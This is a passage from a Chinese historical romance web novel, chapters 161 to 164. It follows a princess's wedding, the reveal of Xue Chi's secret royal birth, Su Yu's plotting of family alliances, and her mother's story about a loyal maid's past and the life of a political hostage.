而两个大佬的对话,没人没插嘴,没人敢接话,彼此之间更不敢悄悄交谈。 就这么端坐着,干喝茶,如同上刑场一般。 “拜见王妃,长公主……” 皇亲国戚扎堆的场合,行礼就很麻烦,一长串头衔,很多时候甚至记不全。 慕容宁是主人家,说了免礼,三人才起身。 晋阳长公主却是朝苏钰招招手,笑着说,“到我这来。” 苏钰笑着走过去,晋阳长公主笑着说,“你母亲今天忙的很,你在我身边吧,我们说说话。” “是。”苏钰笑着答应。 晋阳长公主身边的妇人见状,连忙起身让了位子。 谁都知道苏钰马上就要嫁给薛迟了,婆婆要跟儿媳妇说话,自然要有眼色。 苏钰道了谢声,在晋阳长公主跟前坐下来。 北五所遇刺那天,从宫里回来没多久,晋阳长公主就派了薛雨梓以及贴身婆子过来,还带了许多补品药材。 薛雨梓进门就先替晋阳长公主道歉,本想亲自来的,有事拌住了。 苏钰当时就愣住了,虽然是遇刺了,但薛迟陪在她身边。 晋阳长公主派薛雨梓带着东西来,己经让苏钰意外了,还说要亲自来,不禁有些受宠若惊。 就是薛迟喜欢她,两人即将成婆媳,晋阳长公主对她似乎也太好了。 160-170 第161章 第 161 章 随着叶氏的落座,…… 随着叶氏的落座, 席间的交谈算是多了起来。 叶氏在贵妇圈里人缘不错,又有苏钰和云棠两个年轻姑娘,比刚才架火上烤的气氛好多了。 妇人们闲话,很快说到承安伯府, 这是目前京城最火爆的话题。 因为太极品, 估计就是几年后, 还会被拉出来鞭尸。 “她家的姑奶奶被休回来了, 说是善炉,害死姨娘, 打压庶子。”某位县主说着。 一般来说,皇帝抄家都罪不及出嫁女。 但承安伯家的事迹过于极品,出嫁十年的姑奶奶都被休回家。 虽然夫家也不厚道,但这时候休妻,确实不用背负骂名。 “像承安伯府这样的, 怎么就没有御史参他,虎毒尚不食子。” “二十几年前的往事,那妾室和三个孩子都不在了, 连当年家里侍侯的下人都打发了, 一个证人都没有, 也不好参他。” 传言怎么传都可行,御史参奏是要讲点证据的, 尤其是这么大的事。 “承安伯的亲弟弟正闹着分家呢, 说是被兄长连累。啧啧,一个府里住了那么多年,三个侄子突然没了,却说自己不知情,骗谁呢。” “夏家的旁支也在闹, 说是要断亲。” “一家子都是吸血鬼,那承安伯夫人恶毒是恶毒,也是奇怪,竟然一直拿钱补贴这么一家子。” “听说承安伯气病了,家里正请大夫呢。” 众人七嘴八舌说着,不知谁说了一句,苏钰默然听着,心里却不觉得意外。 也许很快就能听到承安伯的死讯了。 “王妃,吉时要到了。”婆子进来说着。 慕容宁点点头,对众人说着,“我们也去看看吧。” 宜宁郡主的住所离后花园很近,此时院中,长史官带着嬷嬷和婆子们正张罗着,忙中有序。红色的喜字贴满各处,五彩的丝带随风飘动。陈侧妃在旁边,很想帮忙又不知如何帮忙。 看到慕容宁和众宾客过来,陈侧妃连忙上前行礼,慕容宁随意点点头,看向长史官。 “请王妃放心,一应皆安排妥当。”长史官说着。 “嗯。”慕容宁大约看看,还算满意。 郡主出阁,事务繁琐,成亲之前,铺阵抬嫁妆都是大事。 所有事务皆是长史官操办,她也就是今天露个脸。 宜宁郡主出嫁,世子的亲事定下来,把楚王府的大事办完,她也对的起楚王爷了。 鞭炮声响起,新郎来迎亲了。 关子琪虽然也姓关,但在关家属于小透明,认识他的也不多。 样貌虽然普通了些,身量却是颇高,此时身着大红喜袍,头戴金冠,也显得气宇轩昂。 迎娶流程都是固定的,直到喜娘高声喊着。“新郎,新娘拜别父母。” 楚王爷与慕容宁堂上高坐,关子琪牵着盖着盖头的宜宁郡主上前,恭敬地行礼。 楚王爷眼角带着泪,虽然宜宁郡主平日里各种闹腾让他十分不喜,但亲生女儿出阁,心中高兴又有些不舍。 “出嫁了,就好好过日子。”楚王爷说着。 陈侧妃站在楚王爷身后,也拿着手绢擦着眼泪。 鞭炮声中,花轿出门。 女儿出了门,接下来就是吃席。 宴席就摆在后花园,一般来说,吃完饭,还要坐会席,众妇人说说话。 但面对慕容宁,还有晋阳长公主,连叶氏和苏钰都在,没哪个这个眼力都没有,还要留下来说闲话。 关上门是大亲友,只怕要说亲事了。 长史官和陈侧妃送客,慕容宁吩咐苏钰带着云棠王府转转,她则带着晋阳长公主,叶氏去了花厅。 三人落座,慕容宁首先开口,“阿钰的婚事,不着急。” 叶氏和晋阳长公主皆是一怔,有些迷惑的看着慕容宁。 “慕容大人,这是什么意思?”晋阳长公主问着,语气不善。 薛迟与苏钰折腾了这么久,两人也公然出双入对,她也在准备聘礼,还派了婆子去苏家。 两家都开始讨论嫁妆和聘礼了,现在慕容宁说婚事不着急。 逗她玩呢。 “这是她父亲的意思。”慕容宁说着,“也是我的意思。” 提到苏天翊,晋阳长公主脸上的怒气消了,心里有气也不表现出来。 叶氏却更迷惑了,“是大哥的意思?” 苏钰的婚事,她是没有发言权的。 但要是苏天翊不同意,早说啊,苏略一直在家里,也不阻止苏钰与薛迟来往。 双方都讨论婚期了,这时候说不同意,晋阳长公主生气也理所当然。 “我和她父亲只是觉得时机不合适,并不是反对。”慕容宁知道她们误会了,纠正说词,看向晋阳长公主,“我们希望,这门婚事由皇上指婚。” 晋阳长公主一怔,叶氏也愣住了。 只是心中所想却全然不同,晋阳长公主若有所思,脸上心中的怒意皆消了。 叶氏更多的是莫名,皇上指婚当然更体面。 但不管苏家的家世,还是晋阳长公主府的地位,并不需要皇上指婚这份体面。 尤其是显庆皇帝给薛迟指过一门婚了,昭华公主新丧,马上再让显庆皇帝给薛迟指婚,多少有点强人所难。 “我知晓了。”晋阳长公主语气郑重,看向慕容宁说,“是我没有考虑周全,待我回府后与驸马商议。” 慕容宁点点头,也知道晋阳长公主做不了主,得跟薛迟商议。 晋阳长公主又问慕容宁,“两位还有什么要求吗?” 难得有机会见面,也说到正事上了,索性一次问完。不然完成一件说一件,处理起来也费劲。 “只此一件。”慕容宁说着,却是看向叶氏,起身郑重的行了一礼,“钰姐儿的婚事,还劳你费心。” 叶氏吓了一跳,连忙起身,“钰姐儿既然喊了我二婶,这就是我份内的事。” 先不说以前同府而居的十年情谊,同是姓苏的,苏家媳妇为苏家女儿操办婚事,真是份内之事。 又说几句,晋阳长公主满怀心事走了。 叶氏带着云棠也告辞走了,慕容宁亲自送两人到门口。 叶氏正欲上车时,就见公主府的婆子抬着一个箱子搬到车上。 “我送给辰姐儿的。”慕容宁说着,“就是一些姑娘用的东西。” 叶氏连忙说,“那也太多了。” 一般来说,就是给见面礼,一套首饰就算多的了,哪有送箱送的。 “初次见面,应该的。”慕容宁说着,坚持让管事把箱子抬到车驾后面。 叶氏看拦不住,想着是她操办苏钰的婚事,这是慕容宁给的谢礼,便让云棠给慕容宁道谢。 “不用。”慕容宁摆手说着,又对叶氏说着,“我留钰姐儿几天。” 叶氏笑着说,“娘俩是该好好说话。” 叶氏和云棠走了,全部宾客离府,长史官收拾残局,以及安排三天回门、会亲等一系列后续。 苏钰回了听雨轩,丫头着刚换了衣服,一杯茶都没喝完,就有婆子来传话,“王妃请姑娘过去说话。” 苏钰有些意外,这都忙大半天了,她本以为慕容宁会休息一下,唤她至少也要晚饭时间。 她不知道的是,慕容宁实在很忙,因为宜宁郡主的婚事己经耽搁半天了,没那么空闲还要休息。 “母亲。”苏钰进到屋里,正房里只有慕容宁一个,一应下人都不在,这是被支开了。 看着慕容宁略显得疲惫的脸,苏钰心情有些怅然。若是以前她肯定会上前关切几句,劝慕容宁不要过份操劳了。 但现在…… 被关贵妃刺杀后,慕容宁派了心腹婆子问了情况,得知她没事后,也没再问了。 此时再见慕容宁,她心底竟然浮起一抹生疏感。 她真的了解自己的母亲吗? “坐吧。”慕容宁说着。 若是往常苏钰肯定会挨着慕容宁坐下来,而此时她只坐在旁边的椅子上坐下来。 慕容宁神情淡了几分,却没说话。 书房中气氛有点冷,母女俩似乎都有点不知道说什么。 终于,苏钰开口,“怎么不见舅舅?” 宜宁郡主是慕容宁的继女,慕容弦就是宜宁郡主的舅舅,外甥女出嫁,他是应该在的。 “他去了驿馆。” 慕容宁说着。 南魏和北齐的使者团快进京了,显庆皇帝命令礼部勿必要好好接待安排。 慕容氏做为第一个进京城的,要配合的地方许多。 礼部有些忙不过来,己经向上折子希望解了她的禁足,帮忙一起料理。 礼部会上这一道折子,当然是慕容弦的功劳。 等圣旨下来,不止慕容弦忙,她也会更忙。 “噢……” 苏钰低低应了一声,她本就是随口问着的。 慕容弦不喜欢她,她也不喜欢慕容弦。 慕容弦为什么不参加宜宁郡主的婚礼,她根本就没兴趣。 气氛有点冷,母女俩似乎都有点不知道说什么。 慕容宁似乎在斟酌着,看着苏钰沉默的脸,轻轻叹口气,还是说了出来。 “有件事,应该告诉你了。” 薛迟一直没开口,虽然不知道他的意图,但到此时此刻,隐瞒己经没了意义。 苏略是男子,再是兄长,许多话也不好说,她这个母亲开口最方便。 “母亲请说。”苏钰好奇说着,她很少见到慕容宁如此郑重。 “薛迟并不是晋阳长公主与薛驸马的孩子,他是程皇后与皇上的嫡子。” 慕容宁说着。 第162章 第 162 章 “他是程皇后与皇…… “他是程皇后与皇上的嫡子。” 慕容宁吐字很清晰, 苏钰却好像没听明白一般, 脑中一片混沌。 真相如巨石般压在心头,让她几乎喘不过气来。她呆坐在那里,眼神空洞, 面色苍白如纸。 慕容宁见苏钰发怔, 知道是消息太突然, 苏钰需要时间消化。 也不急着往下说, 而是静静坐着。 她了解自己的女儿,再大的打击, 再重的压力,只要给她一点时间,绝不会被打垮。 直到苏钰喃喃自语开口,“他是皇子,还是嫡长子……” 她从来没有怀疑过薛迟的身份, 显庆皇帝都要把亲生女儿嫁给他了…… 不对,是关太后一直在极力促成,甚至差点搞出丑事来, 显庆皇帝才不得己。 现在想来, 指婚不过是为了打消关太后的疑虑。 那段时间, 薛迟一直向她保证,他一定会娶她。 哪怕是皇上指婚也保证的无比笃定, 现在想来, 可不是无比笃定,显庆皇帝肯定不会让他们兄妹成亲。 昭华公主死了。 她知道昭华公主的死,与薛迟有关。 但她没想到,其中竟然还有这一层缘由。 关太后非得促成,那就一了百了, 从根源斩断。 天家无亲情,真是一点都没有。 怪不得晋阳长公主那样客气,那态度根本就不是对未来媳妇的。 而是对未来…… “若是没有意外,他接下来会是太子,登基称帝。”慕容宁说着。 苏钰不自觉得深吸口气,似在努力让自己冷静下来,喃喃自语,“我从来没有想过,要嫁给皇子。” 从未想过,自己倾心相恋之人,竟有着如此尊贵的身份。 皇子,嫡长子,未来可能登上皇位的人。 她一直以为他们的爱情虽有波折,但只要两人真心相守,便能克服一切困难。 可如今,这突如其来的真相,让她陷入了无尽的痛苦与纠结之中。 别说太子,她连皇子都不想嫁。 她不喜欢皇宫,那高高的红墙,看似华丽,却如牢笼一般困住了无数人。 皇宫里的勾心斗角、尔虞我诈,让她心生畏惧。 她只想与心爱之人过平淡而幸福的生活,可现在,这一切似乎都成了遥不可及的幻想。 突然,苏钰想了起来,看向慕容宁问,“薛迟是皇子,那谢无衣是……” “自然是晋阳长公主的亲生儿子。”慕容宁说着。 具体细节虽然不清楚,大概过程就是,程皇后生的儿子送到晋阳长公主府,晋阳长公主的亲子送出去。 并不算太意外的答案,苏钰仍然心中一震,说着,“原来如此。” 想想谢无衣在公主府的地位,以及显庆皇帝的重视程度。 自小进宫伴读,年纪轻轻就是建章营骑的正使,多少公主的亲生儿子都没有待遇,一个私生子怎么可能会有。 “晋阳长公主与薛驸马半生操劳,都是为了这个儿子。”慕容宁说着,“新皇登基,谢无衣的荣宠恩典也会是最多的。” 不管晋阳长公主还是薛驸马,权势都快到顶了,依然冒着杀头的风险干这事,为的就是儿子能更进一步。 只是这一步,因为苏钰,多半会有变数。 晋阳长公主对苏钰没有丝毫怨恨,这也是度量大。 苏钰愣了一下,新皇登基? 显庆皇帝还不至四十岁,正值壮年。 新皇要登基,得二十年后吧。 “最初,我也挺中意谢无意的。”慕容宁说着,不禁叹口气,“既然与你无缘,早点丢开手也好。” 苏钰的思绪拉了回来,不禁说着,“早就知道薛迟的身份,为什么都不告诉我?” 慕容宁知道,谷夫人多半也是知道的。 苏略特意送她两个宫里的嬷嬷,肯定也是知道的。 所有人都知道,就不告诉她。 “告诉了你,你就能跟薛迟分开吗?”慕容宁说着。 苏家的恋爱脑她很清楚,她知道时,苏钰都开始倒追薛迟,与薛迟公然出双入对。 八尺厚的滤镜,怎么说都不听。 而后来的发展,能不能分不开,不只是取决于苏钰,还要看薛迟。 苏钰顿时沉默了。 以她对薛迟的感情,尤其最开始最上头的时候,只怕说薛迟是玉皇大帝,都拦不住她。 但是…… 要是没有搞错笔友,要是早点知道薛迟是皇子,她会不会理智一点。 可惜,人生没有如果。 “事己至此。”慕容宁说着,语气凝重,“你要有做皇后的准备了。” 这是苏天翊的意思,事己至此,那就确定目标,进行下一步。 他苏天翊的女儿,既嫁了皇子,肯定是要当皇后的。 “皇后……”苏钰只觉得头快要炸开了。 她甚至有种穿越了的感觉,她今天是来参加宜宁郡主婚礼的。 前半天还是正常世界,参加婚礼吃席,然后…… 世界就颠了。 “我当不了皇后。”苏钰思绪混乱,依然能抓住重点,“我的血统……” 虽然当着慕容宁的面这么说不合适,但她身上有慕容氏的血脉。 大周是天朝大国,临近的国家好几个,对于混血并不在意。外族女子嫁给王爷当正妃都可以。 但皇后不行,就是勉强当了皇后,她的孩子也会因为血统不纯当不了太子。 儿子无法当太子的皇后,这皇后的未来,只有死路一条。 “所以,你与薛迟的婚事,需要皇上指婚。”慕容宁意味深长说着。 皇上指婚,尤其是先皇指婚,做为臣子做为儿子,都是必须要遵守的。 就是大臣反对,一个孝字压下来,也够堵嘴的。显庆皇帝一辈子做的荒唐事那么多,不差这一件,这个锅推给他合情合理。 她向晋阳长公主提出要指婚时,晋阳长公主愣了一下也是明白过来,但其中厉害关系,也不是她能决定。 嫡长子,皇位第一顺位继承人,正妃却拥有外族血脉。 这…… 滋事体大,她只能回答说,回去商量一下才能给答复。 苏钰不禁说,“要是皇上不愿意指婚呢?” “那你就跟我回西北。”慕容宁说着,神色认真。 苏钰又是一呆,怔怔看着慕容宁。 “这不是我一个人的决定。”慕容宁说着,“也是你父亲的意思。” 太过于震惊,让苏钰刷的一下站起身来,她瞪大眼晴看着慕容宁,“母亲,你见到父亲了?” 苏略说过,苏天翊近期会进京,她一直盼着。 没想到苏天翊人己在京城,却没来见她地,而是先与慕容宁商量她的终身大事。 慕容宁眼眸微垂,没有点头也没有摇头。 她并没见到苏天翊,一墙之隔的谈话,她并没有见到苏天翊的脸。 乍然听到那儒雅的声音,她愣了许久。 哪怕是十年未听过,她知道是苏天翊。 十年了,依然儒雅而温和的语调,却带着冰冷的寒意,“我们做笔交易吧。” “你是我与他唯一的女儿。”慕容宁说着。 这也是苏天翊找她做交易的根本原因。 多少中年夫妻因为孩子凑在一起,因为孩子让俩人成为利益共同体。 也许她没那么可靠,但在苏钰的事情上,她肯定比别人可靠。 苏钰迷惑的看着慕容宁,她很是不解,“父亲与您说了什么?” “说了你的将来。”慕容宁说着。 一墙之隔的会谈,是出于职业习惯,黑暗才能更好的隐藏。 冒然进入别人的房间与人相见,稍有不慎就有可能落入陷阱中。 正如苏略所说的,苏天翊早己不爱她,甚至不恨她。 无波无澜,与陌生人无异。 事情发生的太多太突然,苏钰竟然觉得大脑运转慢了下来,脑海中思绪万千,顺着慕容宁的话往下说。 “父亲的意思是,薛迟求不来指婚,我就只能离开。” 甚至不能留在大周,要去西北。 求不来指婚的圣旨,有两种可能性,一种是显庆皇帝不愿意。 男人重长子,尤其是嫡长子,这是要继承王位的。 显庆皇帝对薛迟有期待,自然不愿意给薛迟指这门婚。 另外一种可能,是薛迟不愿意。 她的身份配的上京城任何勋贵,但就是不能当皇后,她的孩子不能当太子。 这样的她,不管家世如何,都不合适薛迟。 薛迟就是爱她,登基之后,封她贵妃,皇贵妃,甚至宠冠后宫。 但细想起来,这又有什么意思。 “连个指婚的圣旨都拿不到,钰姐也就没必要嫁他了。” 这是苏天翊的原话。 他是看好薛迟,在谢无衣和薛迟之间,他也更倾向于薛迟。 但世上又不是只有这两个男人,非得二选一是没有必要的。 皇帝不好可以换,女婿不合适,更可以换。 “西北是你的退路,是你父亲给你留的退路。”慕容宁说着。 苏天翊的话语仿佛就在耳边,“我留慕容弦一命,你也给钰姐留条路。” 常年游走于生死边缘,每时每刻都面对死亡,苏天翊是大周开国以来,活的最久的监察寮正使。 但就是这样,他依然不知道自己什么时候会死。 为了寻找苏辰,他抛下苏钰十年,没有尽到做父亲的责任。 现在能为苏钰做的,尽可能的为她安排退路。 人生一世,做错事不可怕,选错人也不可怕,怕的是没有回头路。 第163章 第 163 章 苏钰失眠了,一整…… 苏钰失眠了, 一整晚辗转反侧。 心中波澜起伏,无数思绪翻滚着,想到头疼,依然压不下心头的杂乱。 她一直认为自己是个靠着父母, 混吃等死的二代。嫁给薛迟后, 生儿育女, 生活继续。 朝廷争斗也好, 后宅宅斗也好,都与她关系不大。 她明白其中的厉害关系就好, 并不需要她操心解决问题。 直到今天,慕容宁告诉她,你得准备当皇后。 平地一声雷,把苏钰自以为的未来全部炸翻。 睡不着,怎么都睡不着。 逃避纠结, 解决不了任何问题,苏钰掀起被子从床上起来。 守夜的小丫头甚至有点没反应过来,连忙从旁边榻上起来, 把灯点上, 又问苏钰, “姑娘要更衣吗?” 说着,欲上前侍侯。 苏钰径自吩咐, “研磨。” 书案在西梢间, 守夜的小丫头唤醒外间侍侯的婆子,又把西梢间的灯点上。 小丫头本欲上前来侍侯,苏钰却是挥手让她们退下。 翻来覆去压不下的烦乱,那就写出来,具现化反而更容易整理思绪。 把感情抛开, 以纯粹的理智,分析其中利益的关系。 提起笔,苏钰首先在写宣纸上写下,父亲两个字,旁边标注着,目前己在京城。 想了想,又在父亲两个字旁边写上,兄长。 苏天翊和苏略,最好的父子,完完全全的利益同共体,写在一张纸合适。 写完苏钰把纸张摆在左手边,随即又在新的宣纸上写着,母亲,同样标注着,即将回西北。 又在旁边写下西北王族,舅舅。 虽然不能像苏天翊和苏略那样肯定,但慕容宁和慕容弦的感情是真的,目前是利益共同体。 苏钰把这张宣纸放到右侧。 写下父母名字的两张纸,呈左右对峙之势。 苏钰看着,却不禁苦笑,父母对她的爱,并没有因为和离而减少,但破碎的家庭就是破碎了,让她心中的安稳世界崩塌了。 她曾渴望着家庭的温暖与完整,可如今,却只能眼睁睁地看着父母分道扬镳。 第三次落笔,写下的是薛迟的名字。 苏钰看着,有点发怔,不自觉得深吸口气,一点点把感情挤出去。 她突然想起慕容宁曾经对她说,薛迟会跟她交往,也许有苏天翊的原因。 当时的她觉得很没道理,薛迟做为臣子,他不需要任何助力,自己的家世背景足够用。 但他若是皇子,目标是…… 那是有可能的。 把写上薛迟名字的宣纸拿起来,放到下面,与上面两张成三角之势。 苏钰看着这三张宣纸上的名字,心底涌起一抹被命运裹挟的无力感。 父亲,母亲,爱人。 她目前人生中最重要的三个人,各有各的想法,各有各的利益。 把伤感压下去,苏钰没有停下来,继续写着。 先从苏家开始,苏天华和苏邑写在一张纸上,欲写叶峰时,苏钰顿了一下。 叶峰是状元,早就出继给叶家,父子是亲父子,血缘亲情一点都不掺杂。 但毕竟姓了叶,若是到了做生死选择的时候,会如何选,或者说苏天华会不会趁机让叶峰撇清关系不连累到他,都不太确定。 如此想着,苏钰把叶峰的名字格外写在一张纸上,与写苏天华名字的宣纸挨在一起。 然后,是苏辰。 苏钰不禁顿了一下,二房走丢的女儿,她的二妹,现在南魏的小主子。 这是苏家的大事,但就她个人来说,这件事她只能旁观。不管苏辰回不回归,如何回归,都不是她能主导的。 实在是无能为力。 想到这里,苏钰在苏辰两个字下面画个了叉,想了想,又写下两个字,变数。 苏辰是苏家的变数,不管她回归于否,对苏天华的前途都是毁灭性打击。 连苏邑,都是前途未卜。 倒是叶峰,状元出身,又姓了叶,坚持文官路子,官场上撇清关系。 文官本就是要熬资历的,没有十来年是出不了头的,若是操作得当,影响可以降到最低。 二房的全部写完,与写有苏天翊的纸张放在一起,桌面够宽,正好排一排。 苏天翊和苏天华是双胞胎,就是苏天翊离京多年,在仕途上与苏天华没有交集,但不管哪一方出事,另一方或多或少都会被牵连。 接下来是三房,苏震岳,谷夫人,苏天佑。苏越还未入仕,不用写。 虽然苏震岳和谷夫人和离多年,但因为共同的孩子,三人反而是坚定的利益共同体。 苏震岳要退休了,爵位传给了二房,苏天佑又是文官。 若是苏家出事,三房是被牵连最少的。 如此想着,苏钰在摆放时,写着三房三口的宣纸与写着大房,二房的宣纸拉开了距离。 却又把写着叶峰名字的宣纸拿出来,摆在写着三房名字的宣纸旁边。 叶峰与苏天佑一样,都是文官,也是出事后最容易被摘出来的。 被摘出的叶峰,肯定会投奔苏天佑。 苏家三房人全部写完,苏钰看着一个又一个名字,突然一个念头冒了出来。 分家。 苏钰被自己的想法吓了一跳,细想起来,可操作性很高。 从慕容宁京城大清洗,苏略在旁协助开始,苏天翊就己经介入皇权之争。 现在二房又因为苏辰,会被推到门口浪尖。 反而是三房,一直都是清清白白,不沾任何事非,甚至连三房的爵位都给了二房。 本来就是堂兄弟,分家之后,除非苏家被灭九族,不然是连累不到的。 不过…… 现在苏天翊干的,好像就是要灭九族的事。 苏钰突然有点理解,慕容宁所说的,让她准备当皇后的意思。 苏天翊都做到这份上,他女儿自然是要当皇后的。 苏家的人际关系整理完,苏钰看向写着母亲两个字的宣纸。 慕容宁问过她,要不要跟她去西北。 她当时是拒绝的,没想到…… 不管苏天翊和慕容宁是因为什么失的和,若让苏天翊给她留一条后路,那肯定是西北。 慕容氏是有军队的。 以慕容弦对慕容宁的感情,以及慕容宁的能力,她回到西北后,肯定不是吃喝玩乐享受生活,而是更积极的参与政治。 就是舅舅慕容弦不喜欢她,但亲生母亲大权在握,苏钰做为唯一的女儿,只要她真心投奔,慕容宁肯定会好好待她。 薛迟真的登基为帝,日后她若是与薛迟不睦,除了西北,她无处可去。 至于薛迟会不会向慕容氏施压,她与薛迟都闹到分手的地步,权衡利弊后的薛迟,会有分寸。 心中如此想着,苏钰把目光看向写着薛迟两个字的宣纸。 一直以来,她与薛迟的交往都是自由而随心的,松弛感来自分手了,也能过的很好的底气。 公主的儿子娶苏家的女儿,门当户对,不存在谁高攀谁。 而现在告诉她,薛迟是皇子,要登基的皇子,她与他最好的结果是她当皇后。 一国之母,天底下最尊贵之人。 而翻开史书,能得善终的皇后,只有五分之一,靠的还是儿子。 而就是靠着儿子成为太子,皇后也得与皇帝老公感情深厚。 一个实权皇帝的皇后,想坐稳位置,靠的竟然是男人的良心。 “薛迟……” 压抑不住的情绪波动,苏钰手抖了拦,手中的笔几乎要掉到地上。 她这一生活到现在,几乎没有努力过,也是觉得没必要。 生出就在巅峰,像关倩倩那样,努力错了方向,反而会掉入泥潭。 而现在…… 苏钰的目光看向一排排写着苏家人名字的宣纸上。 她一直被家族庇护,总不能只享受不付出。 苏天翊己经参与了皇权争斗,该站的队早就站好了。 这个时候,她只因为不喜欢皇宫,不想当皇后就跟薛迟闹翻,再任性也不能如此。 长长吁口气,似乎要把心中的情绪全部吐出来,苏钰握紧笔,继续写着。 晋阳长公主,薛驸马,以及谢无衣。 谢无衣三个字让苏钰手顿了一下,思绪却是转动着了。 一家三口,肯定是利益共同体,也是薛迟最有力的支持者。 偷摸抚养皇子,薛迟不能登基,晋阳长公主府肯定是满门抄斩。 薛驸马手上有羽林军,谢无衣有建章骑营,武德充沛,很好。 如此想着,苏钰的目光忍不住看向谢无衣的名字。 笔友是谢无衣,这让她纠结过。 而现在,她不纠结了。事己至此,哪有心力去纠结。 突然一个名字跳了出来,苏钰想着,提笔写了下来。 程喻。 程皇后的娘家侄子,薛迟的表弟。 怪不得陈平会带他入京,天下间有才华的人那么多,哪能各个被人看到。 而程喻,欠着她一个大大的人情。 脑海中混乱的思绪似乎理清了,天也亮了。 苏钰看一眼窗外,却全然没了睡意。 “来人。”苏钰说着。 小丫头赶紧上前,“姑娘有什么吩咐。” “梳洗更衣。”苏钰说着。 梳洗更衣,早饭之后,苏钰去了慕容宁的院落。 时间尚早,慕容宁刚吃完早饭,丫头们正侍侯她更衣。 “母亲。”苏钰上前说着,“女儿斗胆,想向您讨个能干的婆子。” 第164章 第 164 章 “女儿斗胆,想向…… “女儿斗胆, 想向您讨个能干的婆子。”苏钰说着。 慕容宁听得笑了,挥手让侍侯的丫头退下,“想明白了?” 苏钰没有回答,她也不知道自己算不算想明白, 只是事己至此, 纠结无用。 眼下最重要的, 做好万全准备, 迎接全然未知的未来。 “把胡婆子叫来。”慕容宁吩咐丫头。 小丫头应着,赶紧去了。 片刻后, 胡婆子来了,上前见礼,“王妃,大姑娘。” 苏钰眼皮一跳,看向胡婆子。 胡婆子是慕容宁心腹中的心腹, 可谓是身边第一得用之人。 把胡婆子给她,确实能帮上忙。 慕容宁示意胡婆子起来,径自吩咐着, “大姑娘身边缺个侍侯的人, 从今天起, 让你去侍侯大姑娘,你可愿意?” 胡婆子愣住了, 看一眼慕容宁, 又看向苏钰,很快做下决定,低头说着,“奴婢的命都是王妃的,王妃之命, 皆是奴婢之愿。” 慕容宁听得点点头,又说着,“你回去收拾一下,过两天跟着姑娘一起回国公府。” “是。”胡婆子应着,又转身向苏钰见礼后,这才退下。 等胡婆子出了门,慕容宁把屋里侍侯的下人支出去,这才对苏钰讲起胡婆子的出身来历。 胡婆子是苏家的家生子,父母兄弟都在三门外当差,到年龄后本该由管事配给一个小厮,她的父母却因为聘礼嫁给一个赌鬼小厮。 哪怕是家生子的婚配,有些品性太差的小厮依然找不到老婆。 而愿意出钱就不同了,反正奴才配奴才,只要两家同意了,管事也不会在意。 胡婆子不愿意嫁也得嫁,婚后丈夫喝酒赌博还是总是打她,胡婆子也不反抗,天天一副受气小媳妇的模样。 直到某天,她终于找到机会,把丈夫杀了,制造成意外的模样。 慕容宁会知道这件事,是因为杀人容易,处理尸体太难。 胡婆子当时不过十七岁,又是住在外院,与其他家生子住一起。 尸体很快被发现,胡婆子哭的死去活来,因为装的太像,也没人怀疑她。 但出了命案,管事还是例行上报给当时管家的慕容宁。 出人命,哪怕是奴才的命,也得报官。 报官后官府派人进府,主母得知道。 慕容宁听管事说完,就觉得事情有点蹊跷。 果然捕快进府查案,很快就把胡婆子查出来了,谋杀亲夫是大罪,胡婆子很快下了狱,等待斩监侯。 管事把结果报给慕容宁时,她也是心念一动,让管事把己下狱的胡婆子又弄回了府里。 慕容宁第一次见胡婆子,就觉得她身上有股子狠劲,都下狱监斩侯了,她依然不服。 她是杀了丈夫,但她若不杀他,他也早晚也会打死她。 父母把她卖了钱,丈夫要打死她,她只是想活而己,又有什么错。 “我当时就觉得她可用。”慕容宁说着。 苏钰听着,有点明白慕容宁的意思。 这个时代敢反抗丈夫的都是少数,计划杀夫的更少。 都己经下狱等死了,还能有精气神的,其心性之坚强十分罕见。 而且,记仇的人才会记恩。 “我让管事疏通了衙门,把她捞了出来。”慕容宁继续说着,“却没有放到身边,而是给了她身契,直到后来我来了楚王府,才把她调到身边使唤。” 胡婆子是苏家家生子的事,连跟着过来的苏家下人都不知道。 慕容宁说到这里时,格外看向苏钰,“她没有家人,以后你就是她的家人。” 苏钰吁口气,轻轻点头,“女儿知道了。” 买个下人很容易,几两银子就够了。但买到人心,要一个能人为你出生入死,需要的不止是银子。 交代完胡婆子的事,慕容宁端起茶碗喝着茶。 对于苏钰的接受,以及反应速度是很满意的。 这点很像苏天翊,日常小事随心而为,而在人生重要的大事上,从不会被情绪化左右,更不会内耗。 天大的事,一晚个过去,心中己有决断。 经常说的一句话,事己至此,接下来要做的…… “多谢母亲提点。”苏钰说着。 慕容宁看着苏钰,眼中闪过什么,以前的苏钰对她不会这么客气。 有时候太客气了,就是生疏。 “阿钰,你心里是不是怪我?”慕容宁说着。 就像苏天翊来找她,明明苏钰也是她的女儿,苏天翊与她谈的却是交易。 苏钰看着慕容宁,既然说到这里,她也想问清楚,“母亲入京二十年,就没有哪一刻想过要留下来吗?” 一直以来,她都以为父母是真心相爱才会成亲,生下她。 她到现在都记得,苏天翊没有离京前,她们一家三口是多么幸福。 在苏天翊离京后,慕容宁想回西北去,她都可以理解。 现在告诉她,其实慕容宁从来就没想过要在京城久居,那当年的那些幸福又算什么。 “你知道什么叫做质子吗?”慕容宁没有回答苏钰,而是反问她。 苏钰顿了一下,没作声。 她自幼读书,自然知道什么质子。 只是慕容宁与普通质子不同,慕容氏己经降了,严格说起来,就是大周子民。 慕容宁也己嫁人生女,不管是苏大太太,还是楚王妃。 不管她是不是质子,她都可以在京城继续生活下去。 慕容宁继续说着,“从古至今,每个质子都想回家,而能回去的,不到十分之一。慕容氏算上有我,总共出了三个质子,我是留京时间最长的,另外两个都死在了京城。” 要是慕容氏更强大一点,像南魏和北齐那样,大周有所顾忌,质子的日子多少会好过些。 偏偏慕容氏不够强,被大周打败,当了降臣。以质子换取大周的信任,或者说打消大周的疑心。 这样的质子,注定度日艰难。 她活到了现在,并且活的还不错,不是因为关太后仁慈,而是慕容弦管她的死活,以及她能够步步为营。 “十年前,与西蜀一战,梅将军大败,若是阿弟不出兵,我这个楚王妃就会马上成为阶下囚,很快就会丢了性命。”慕容宁说着,看向苏钰,“这才是质子存在的意思。” 用质子拿捏慕容氏,拿捏住自然最好。拿捏不住也就意味着质子无用,生死更无所谓。 与慕容弦分开二十年,她依然坚定慕容弦对她的感情没有变,是因为她还活着。 十年前,慕容弦能为她出兵,接受大周的各种掣肘。 慕容弦要是不在意她,关太后不会让她活着。 慕容弦格外讨厌大周人,降臣的屈辱感是一部分,更多提因为他被拿捏了二十年。 整整二十年,用他最重视的人拿捏他,这份恨意才会格外深。 说到此处,慕容宁不禁深吸口气。 所有人都知道她是质子,却从来不知道何为质子。 质子为什么都想回家,那是因为生死性命都不能掌握在自己手上。 